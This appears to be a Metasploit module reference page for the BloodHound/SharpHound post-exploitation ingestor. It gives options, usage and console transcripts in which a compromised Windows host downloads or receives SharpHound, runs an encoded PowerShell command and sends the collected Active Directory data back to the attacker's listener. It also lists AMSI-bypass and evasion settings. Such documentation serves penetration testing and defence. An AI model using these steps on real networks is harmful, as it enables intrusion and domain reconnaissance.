BloodHound Ingestor - Metasploit


This page contains detailed information about how to use the post/windows/gather/bloodhound metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: BloodHound Ingestor
Module: post/windows/gather/bloodhound
Source code: modules/post/windows/gather/bloodhound.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module is also known as sharphound.

This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more. With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly identify within an Active Directory environment.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage

msf > use post/windows/gather/bloodhound
msf post(bloodhound) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more. With this information BloodHound will easily identify highly complex privilage elevation attack paths that would otherwise be impossible to quickly identify within an Active Directory environment.

This module can take several/many minutes to run due to the volume of data being collected.

Verification Steps

  1. Start msfconsole
  2. Get meterpreter session on a Windows domain
  3. Do: use post/windows/gather/bloodhound
  4. Do: set SESSION <session id>
  5. Do: run
  6. You should be able to see that the module is running a powershell in the target machine
  7. You should be able to see, after few minutes, that the module created a loot with the BloodHound results in zip format

Options

Method

Which method to use to get shaphound running. Default is download.

  1. download requires the compromised host to have connectivity back to metasploit to download and execute the payload. Sharphound is not written to disk.
  2. disk requires admin privileges to bypass the execution policy (if it isn't open). Writes the sharphound.exe file to disk. No connectivity is required but a disk write does happen which is likely to get caught by AV.

CollectionMethode

The collection method to use. This parameter accepts a comma separated list of values. Accepted values are Default, Group, LocalAdmin, RDP, DCOM, GPOLocalGroup, Session, ObjectProps, ComputerOnly, LoggedOn, Trusts, ACL, Container, DcOnly, All. The default method is Default.

Domain

Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context specifies.

Stealth

Use stealth collection options, will sacrifice data quality in favor of much reduced network impact. The default value is false.

ExcludeDomainControllers

Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior. The default value is false.

DomainController

Specify which Domain Controller to request data from. Defaults to closest DC using Site Names.

LdapPort

Override the port used to connect to LDAP.

SecureLdap

Uses LDAPs instead of unencrypted LDAP on port 636. The default value is false.

DisableKerbSigning

Disables Kerberos Signing on requests. The default value is false.

SkipPing

Skip all ping checks for computers. This option will most likely be slower as API calls will be made to all computers regardless of being up Use this option if ping is disabled on the network for some reason. The default value is false.

OutputFolder

Folder to write the JSON output to. Default is to enumerate the Windows Temp folder.

EncryptZip

If the zip should be encrypted by SharpHound using a random password. Password is stored to notes, default is true.

NoSaveCache

If the cache file (.bin) should NOT be written to disk. Default is true.

Scenarios

meterpreter > run post/windows/gather/bloodhound

[*] Using URL: http://0.0.0.0:8080/bvqUdtHUQ4De1O3
[*] Local IP: http://192.168.1.136:8080/bvqUdtHUQ4De1O3
[*] Invoking BloodHound with: Invoke-BloodHound -CollectionMethod Default -Threads 10 -JSONFolder "C:\Windows\TEMP" -PingTimeout 250 -LoopDelay 300 
[*] Initializing BloodHound at 6:44 AM on 4/29/2019
[*] Resolved Collection Methods to Group, LocalAdmin, Session, Trusts
[*] Starting Enumeration for uplift.local
[*] Status: 58 objects enumerated (+58 �/s --- Using 58 MB RAM )
[*] Finished enumeration for uplift.local in 00:00:00.6365050
[*] 0 hosts failed ping. 0 hosts timedout.
[*] 
[*] Compressing data to C:\Windows\TEMP\20190429064444_BloodHound.zip.
[*] You can upload this file directly to the UI.
[*] Finished compressing files!

Windows 10 non-AD host, Windows Server 2012 AD, Disk Method

meterpreter > sysinfo
Computer        : WIN10PROLICENSE
OS              : Windows 10 (10.0 Build 16299).
Architecture    : x64
System Language : en_US
Domain          : hoodiecola
Logged On Users : 7
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 post(windows/gather/bloodhound) > set method disk
method => disk
msf5 post(windows/gather/bloodhound) > exploit

[*] Uploading sharphound.exe as C:\Users\user\Desktop\qehojlwml.exe
[*] Loading BloodHound with: . C:\Users\user\Desktop\qehojlwml.exe --outputdirectory "C:\Users\user\AppData\Local\Temp" --zipfilename eiqxerh --encryptzip --nosavecache 
[+] EXECUTING:
powershell.exe -EncodedCommand LgAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAYQByAGEAXABEAGUAcwBrAHQAbwBwAFwAcQBlAGgAbwBqAGwAdwBtAGwALgBlAHgAZQAgAC0ALQBvAHUAdABwAHUAdABkAGkAcgBlAGMAdABvAHIAeQAgACIAQwA6AFwAVQBzAGUAcgBzAFwAdABhAHIAYQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwACIAIAAtAC0AegBpAHAAZgBpAGwAZQBuAGEAbQBlACAAZQBpAHEAeABlAHIAaAAgAC0ALQBlAG4AYwByAHkAcAB0AHoAaQBwACAALQAtAG4AbwBzAGEAdgBlAGMAYQBjAGgAZQAgADsAIAA= -InputFormat None
[*] ----------------------------------------------
[*] Initializing SharpHound at 4:19 PM on 6/3/2020
[*] ----------------------------------------------
[*] 
[*] Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[*] 
[*] [+] Creating Schema map for domain HOODIECOLA.COM using path CN=Schema,CN=Configuration,DC=HOODIECOLA,DC=COM
[*] [+] Cache File not Found: 0 Objects in cache
[*] 
[*] [+] Pre-populating Domain Controller SIDS
[*] Status: 0 objects finished (+0) -- Using 19 MB RAM
[*] Status: 63 objects finished (+63 21)/s -- Using 26 MB RAM
[*] Enumeration finished in 00:00:03.3219377
[*] Compressing data to C:\Users\user\AppData\Local\Temp\20200603161905_eiqxerh.zip
[*] Password for Zip file is QEqUpTtU0v. Unzip files manually to upload to interface
[*] 
[*] SharpHound Enumeration Completed at 4:19 PM on 6/3/2020! Happy Graphing!
[*] 
[+] Downloaded C:\Users\user\AppData\Local\Temp\20200603161905_eiqxerh.zip: /metasploit/.msf4/loot/20200603192705_default_2.2.2.2_windows.ad.blood_749446.zip
[+] Zip password: QEqUpTtU0v
[*] Deleting C:\Users\user\Desktop\qehojlwml.exe
[*] Post module execution completed

msf5 post(windows/gather/bloodhound) > notes

Notes
=====

 Time                     Host          Service  Port  Protocol  Type                     Data
 ----                     ----          -------  ----  --------  ----                     ----
 2020-06-03 23:27:05 UTC  2.2.2.2                           Sharphound Zip Password  "Bloodhound/Sharphound loot /metasploit/.msf4/loot/20200603192705_default_2.2.2.2_windows.ad.blood_749446.zip password is QEqUpTtU0v"

Go back to menu.

Msfconsole Usage

Here is how the windows/gather/bloodhound post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/bloodhound

msf6 post(windows/gather/bloodhound) > show info

       Name: BloodHound Ingestor
     Module: post/windows/gather/bloodhound
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  h4ng3r <[email protected]>
  h00die

Module side effects:
 artifacts-on-disk

Compatible session types:
  Meterpreter

Basic options:
  Name                      Current Setting  Required  Description
  ----                      ---------------  --------  -----------
  CollectionMethod          Default          yes       The collection method to use. This parameter accepts a comma separated list of values. Accepted values are Default, Group, LocalAdmin, RDP, DCOM, GPOLocalGroup, Session, ObjectProps, Compu
                                                       terOnly, LoggedOn, Trusts, ACL, Container, DcOnly, All
  DisableKerbSigning                         no        Disables Kerberos Signing on requests
  Domain                                     no        Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context specifies
  DomainController                           no        Specify which Domain Controller to request data from. Defaults to closest DC using Site Names
  EncryptZip                true             no        If the zip should be password protected
  ExcludeDomainControllers  false            yes       Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior
  LdapPort                                   no        Override the port used to connect to LDAP
  Method                    download         yes       Method to run Sharphound with (Accepted: download, disk)
  NoSaveCache               true             no        Dont save the cache file to disk
  OutputDirectory                            no        Folder to write json output to.  Default is Windows temp
  SESSION                                    yes       The session to run this module on.
  SRVHOST                   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT                   8080             yes       The local port to listen on.
  SSL                       false            no        Negotiate SSL for incoming connections
  SSLCert                                    no        Path to a custom SSL certificate (default is randomly generated)
  SecureLdap                false            no        Uses LDAPs instead of unencrypted LDAP on port 636
  Stealth                   false            yes       Use stealth collection options, will sacrifice data quality in favor of much reduced network impact
  URIPATH                                    no        The URI to use for this exploit (default is random)
  ZipFileName                                no        Zip Output File Name.  Blank for random

Description:
  This module will execute the BloodHound C# Ingestor (aka SharpHound) 
  to gather sessions, local admin, domain trusts and more. With this 
  information BloodHound will easily identify highly complex attack 
  paths that would otherwise be impossible to quickly identify within 
  an Active Directory environment.

Also known as:
  sharphound

Module Options

This is a complete list of options available in the windows/gather/bloodhound post exploitation module:

msf6 post(windows/gather/bloodhound) > show options

Module options (post/windows/gather/bloodhound):

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   CollectionMethod          Default          yes       The collection method to use. This parameter accepts a comma separated list of values. Accepted values are Default, Group, LocalAdmin, RDP, DCOM, GPOLocalGroup, Session, ObjectProps, Comp
                                                        uterOnly, LoggedOn, Trusts, ACL, Container, DcOnly, All
   DisableKerbSigning                         no        Disables Kerberos Signing on requests
   Domain                                     no        Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context specifies
   DomainController                           no        Specify which Domain Controller to request data from. Defaults to closest DC using Site Names
   EncryptZip                true             no        If the zip should be password protected
   ExcludeDomainControllers  false            yes       Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior
   LdapPort                                   no        Override the port used to connect to LDAP
   Method                    download         yes       Method to run Sharphound with (Accepted: download, disk)
   NoSaveCache               true             no        Dont save the cache file to disk
   OutputDirectory                            no        Folder to write json output to.  Default is Windows temp
   SESSION                                    yes       The session to run this module on.
   SRVHOST                   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT                   8080             yes       The local port to listen on.
   SSL                       false            no        Negotiate SSL for incoming connections
   SSLCert                                    no        Path to a custom SSL certificate (default is randomly generated)
   SecureLdap                false            no        Uses LDAPs instead of unencrypted LDAP on port 636
   Stealth                   false            yes       Use stealth collection options, will sacrifice data quality in favor of much reduced network impact
   URIPATH                                    no        The URI to use for this exploit (default is random)
   ZipFileName                                no        Zip Output File Name.  Blank for random

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/bloodhound post exploitation module:

msf6 post(windows/gather/bloodhound) > show advanced

Module advanced options (post/windows/gather/bloodhound):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   ListenerComm                                             no        The specific communication channel to use for this service
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false            no        Enable SSL/TLS-level compression
   SendRobots                              false            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/bloodhound module can do:

msf6 post(windows/gather/bloodhound) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/bloodhound post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/bloodhound) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

PowerShell is not installed

Here is a relevant code snippet related to the "PowerShell is not installed" error message:

93:	    return ". #{name}"
94:	  end
95:	
96:	  def run
97:	    if !have_powershell?
98:	      fail_with(Failure::Unknown, 'PowerShell is not installed')
99:	    end
100:	
101:	    extra_params = ''
102:	    if datastore['Domain']
103:	      extra_params += "-Domain #{datastore['Domain']} "

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.